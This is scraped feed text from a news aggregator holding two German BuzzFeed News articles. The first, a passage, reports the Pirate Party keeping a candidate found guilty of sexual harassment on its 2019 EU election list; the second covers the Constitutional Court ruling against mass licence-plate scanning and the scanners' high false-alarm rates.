Die Europaabgeordnete Julia Reda zeigt sich vom Vorgehen des Bundesvorstand enttäuscht: „Ich bin sehr schockiert über die Darstellung der Situation durch den Bundesvorstand. Bis heute war ich davon ausgegangen, dass er alles unternehmen würde, um die Wahlzulassung von Herrn Bordelais zu verhindern, und unverzüglich ein Parteiausschlussverfahren beantragen würde. Stattdessen hat die Partei die konkreten Vorwürfe bei der heutigen Anhörung des Wahlausschusses verschwiegen und nimmt Gilles Bordelais in seiner öffentlichen Stellungnahme in Schutz.“

Die Piratenpartei hätte ihrerseits die Möglichkeit gehabt, Gilles Bordelais von der Liste zu streichen. Dafür hätte sie eine neue, sogenannte Aufstellungsversammlung abhalten müssen – und noch einmal notwendige Unterschriften für die Zulassung der Liste zur Europawahl sammeln müssen. Dies wäre aber „ausgesprochen schwierig geworden“, sagte die Vertrauensperson, Biwanke-Wenzel, in einem Statement vor dem Bundeswahlausschuss am Freitag.

Nach der Veranstaltung von BuzzFeed News zu dem Vorgang befragt, zeigte sich Vertrauensperson Biwanke-Wenzel über die Entscheidung des Bundeswahlausschusses frustriert, allerdings sah sie die Verantwortung nicht bei ihrer Partei, sondern beim Bundeswahlleiter: „Der Ausschuss scheute eine Streichung, weil er damit einen Präzedenzfall geschaffen hätte.“

In einem anderen Fall waren die Piraten diesen Schritt gegangen. Im Juni 2017 hatte sich die Piratenpartei Brandenburg dazu entschlossen, mit ihrer sechs Monate zuvor gewählten Liste nicht an der Bundestagswahl teilzunehmen. Grund war eine „über Twitter verbreitete, untolerierbare Äußerung” eines Listenkandidaten.

Die Journalistin und Aktivistin Sara Hassan hat selbst im Europaparlament gearbeitet und das feministische Netzwerk „Period.Brussels“ mitbegründet. Am Freitag kommentierte sie die Aufstellung von Bordelais auf Twitter und forderte, dass die Partei Verantwortung übernimmt. BuzzFeed News sagte sie in einem Telefonat am Freitagnachmittag: „Der Fall ist atypisch, weil er verfolgt wurde. Er ist aber typisch für Umfelder, in denen starke Hierarchien, Abhängigkeitsverhältnisse und eine Schweigekultur herrschen.”

ihr freut euch über die ganzen neuen piraten, die für euch und gegen #uploadfilter laufen – und liefert ihnen einen typen, der wegen sexueller Belästigung für schuldig befunden wurde? Get your shit together, verhindert das, das schuldet ihr uns #metoo https://t.co/nMlV7HMs3J

Die Piratenpartei musste sich schon häufiger mit Sexismus-Vorwürfen auseinandersetzen. Bereits 2012 veröffentlichten die „Jungen Piraten“, die Jugendorganisation der Partei, einen offenen Brief, in dem sie unter anderem schrieben: „Immer wie­der fal­len Mit­glie­der der Par­tei durch ras­sis­ti­sche, sexis­ti­sche, aber auch ander­wei­tig dis­kri­mi­nie­rende Aus­sa­gen oder Ver­hal­tens­wei­sen auf.“ Der Pressesprecher der Partei entgegnete damals auf die Vorwürfe, dass es in jeder Partei „zehn Prozent Idioten“ gäbe.

Ein Jahr später berichtete auch die damalige Spiegel-Online-Journalistin Annett Meiritz über andauernde Frauenfeindlichkeit von Parteimitgliedern, der sie während ihrer Berichterstattung ausgesetzt gewesen sei. Auf den Artikel folgte ein Bericht der Journalistin Laura Himmelreich im Stern, in dem diese dem FDP-Politiker Rainer Brüderle sexuelle Belästigung vorwarf. Der Artikel stieß gemeinsam mit dem Hashtag #aufschrei eine bundesweite Debatte über Sexismus und sexuelle Belästigung an.


Hier findest Du alle Beiträge von BuzzFeed News Deutschland. Mehr Recherchen von BuzzFeed News Deutschland findest Du auch auf Facebook und Twitter oder im RSS-Feed. Mehr Informationen über unsere Reporterinnen und Reportern, unsere Sicht auf den Journalismus und sämtliche Kontaktdaten – auch anonym und sicher – findest du auf dieser Seite.

Pascale Müller ist Reporterin für Politik und sexualisierte Gewalt. Kontakt: Pascale.mueller@buzzfeed.com

Contact Pascale Mueller at pascale.mueller@buzzfeed.com.

Got a confidential tip? Submit it here.

Let’s block ads! (Why?)

]]>
https://briefnews.eu/ein-europakandidat-der-piratenpartei-soll-eine-frau-sexuell-belastigt-haben-trotzdem-darf-er-weiter-auf-platz-zwei-der-wahlliste-stehen/feed/ 0
Die Polizei darf nicht mehr massenhaft alle Kennzeichen scannen, sagt das Bundesverfassungsgericht https://briefnews.eu/die-polizei-darf-nicht-mehr-massenhaft-alle-kennzeichen-scannen-sagt-das-bundesverfassungsgericht/ https://briefnews.eu/die-polizei-darf-nicht-mehr-massenhaft-alle-kennzeichen-scannen-sagt-das-bundesverfassungsgericht/#respond Tue, 05 Feb 2019 16:24:08 +0000 http://briefnews.eu/die-polizei-darf-nicht-mehr-massenhaft-alle-kennzeichen-scannen-sagt-das-bundesverfassungsgericht/


picture alliance / Daniel Karmann / dpa

Das Bundesverfassungsgericht hat die automatische Kennzeichenerfassung in großen Teilen für verfassungswidrig erklärt.

Damit darf die Polizei in Baden-Württemberg, Bayern und Hessen nicht mehr automatisch alle Nummernschilder erfassen, um sie mit Datenbanken abzugleichen. In diesen Ländern kontrolliert die Polizei Kennzeichen bei allen Fahrzeugen auch ohne konkreten Verdacht.

Das verletzt Autofahrer und Autohalter in ihren Persönlichkeitsrechten und in ihrem Grundrecht auf informationelle Selbstbestimmung, urteilten Deutschlands höchste Richter jetzt.

Bis zum 31. Dezember 2019 müssen die Vorschriften in den betroffenen Ländern nun geändert werden. Eingeführt wurden die Massenabgleiche, um organisierte und schwere Kriminalität zu bekämpfen. Inzwischen werden sie unter anderem auch zur sogenannten „Schleierfahndung“ an den Außengrenzen genutzt.

In Bayern schlagen die Kennzeichenscanner am häufigsten fehlerhaften Alarm: in 98 Prozent der Fälle.

Die Gründe für die hohen Fehlerquoten sind nach Recherchen von BuzzFeed News seit Jahren bekannt – abgestellt wurden sie bislang jedoch nicht. So können manche Systeme noch immer keine Leerzeichen verarbeiten, verwechseln Buchstaben und Zahlen oder sind schlicht mit schlechtem Wetter und der Dämmerung überfordert.

  • Beispiel Hessen: Hier meldeten die Geräte in den Jahren 2016 und 2017 insgesamt 7.170 angebliche Treffer. Nach Überprüfung durch die Polizeibeamten verblieben nur noch 492 sogenannte „Echttreffer“ – eine Fehlerquote von 93 Prozent.
  • In Sachsen zeigten die Geräte in 2016 und 2017 insgesamt 31.831 mal einen Treffer an. Nach Überprüfung durch die Polizei verblieben 873 – was einer Fehlerquote von 97,25 Prozent entspricht.
  • Für Bayern ist das Ergebnis noch drastischer: von fast 1,46 Millionen Treffermeldungen durch das System in 2016 und 2017 waren insgesamt höchstens 30.480 sogenannte „Echttreffer“ – eine Fehlerquote von 97,91 Prozent.

Darüber hinaus ergab unsere Recherche, dass der überwiegende Anteil der so aufgedeckten Straftaten gar keine schweren Vergehen sind.

Vor dem Bundesverfassungsgericht hatte der bayerische Informatiker Benjamin Erhart geklagt. Seit 2008 kämpft dieser mit Spendengeldern vor Gericht gegen die Kennzeichenerfassung.

Erhart erklärte per Pressemitteilung nach dem Urteil:

„Statt Populismus wäre mehr Nachdenken angebracht. Statt nutzlosem Sicherheitstheater, das Geld in die Kassen einiger weniger IT-Firmen spült, sollte das Geld lieber in gute Ausbildung, Ausstattung und ausreichend Personal bei den Sicherheitsbehörden gesteckt werden. Statt Massenüberwachung in allen Bereichen, die im Grunde die gesamte Bevölkerung zum Feind erklärt, sollten wir lieber daran arbeiten, langfristig die Freiheit aller zu sichern.“

Auch Patrick Breyer, Bürgerrechtler und Spitzenkandidat der Piratenpartei zur Europawahl 2019, geht seit Jahren gerichtlich gegen den KfZ-Massenabgleich vor. Er hatte beim Bundesverfassungsgericht darüber Beschwerde eingelegt, dass nun auch die Bundespolizei Kennzeichen-Scanner bekommen soll – entschieden hat das Gericht darüber noch nicht.

Breyer teilte, ebenfalls per Pressemitteilung, mit:

„Die permanente massenhafte automatisierte Kontrolle der gesamten Bevölkerung droht wie ein Krebsgeschwür immer weitere Kreise zu ziehen: Heute zur Fahndung und Beobachtung, morgen für Knöllchen gegen Temposünder und zur Diesel-Fahrverbotsüberwachung und übermorgen wird eine biometrische Gesichtserkennung an jeder Straßenecke eingeführt.“

Spannend wird nun die Frage, wie kommende Fahrverbote umgesetzt werden sollen. Zur Einhaltung von Luftgrenzwerten war beim Bundesverkehrsministerium eigentlich vorgesehen, auf die Kennzeichenüberwachung zurückzugreifen – trotz der enormen Fehlerquoten.

Sowohl das Bundes-Immissionsschutzgesetz als auch das Straßenverkehrsgesetz sollten dafür geändert werden. Beide Entwürfe waren erst kürzlich Thema im Bundestag.

Ob das nun noch möglich ist, ist unklar. Patrick Breyer von der Piratenpartei glaubt, nein: „Mit der heutigen Entscheidung dürften die Diesel-Scanner-Pläne des Bundesverkehrsministers vom Tisch sein. Sie dienen nicht dem ‘Schutz von Rechtsgütern von zumindest erheblichem Gewicht’, so wie es das Verfassungsgericht gefordert hat“, sagte Breyer in einem Telefonat mit BuzzFeed News.

Tatsächlich gelten Verstöße gegen Fahrverbote nur als Ordnungswidrigkeit. Sie werden mit Bußgeldern von bis zu 75 Euro geahndet – das ist die niedrigste Sanktionsstufe bei Bußgeldern. Als Abwehr einer besonders schweren Gefahr dürfte das vor Gericht keinen Bestand haben.

BuzzFeed News hat das Bundesverkehrsministerium um eine Stellungnahme gebeten. Sobald diese vorliegt, werden wir sie hier nachtragen.

Marcus Engert ist Reporter bei BuzzFeed News Deutschland und lebt in Leipzig und Berlin. Verschlüsselter Kontakt: per Mail mit PGP-Key http://bit.ly/2uy3ai6 oder über die Threema-ID F8H994R7. Signal auf Anfrage.

Contact Marcus Engert at marcus.engert@buzzfeed.com.

Got a confidential tip? Submit it here.

Let’s block ads! (Why?)

]]>
https://briefnews.eu/die-polizei-darf-nicht-mehr-massenhaft-alle-kennzeichen-scannen-sagt-das-bundesverfassungsgericht/feed/ 0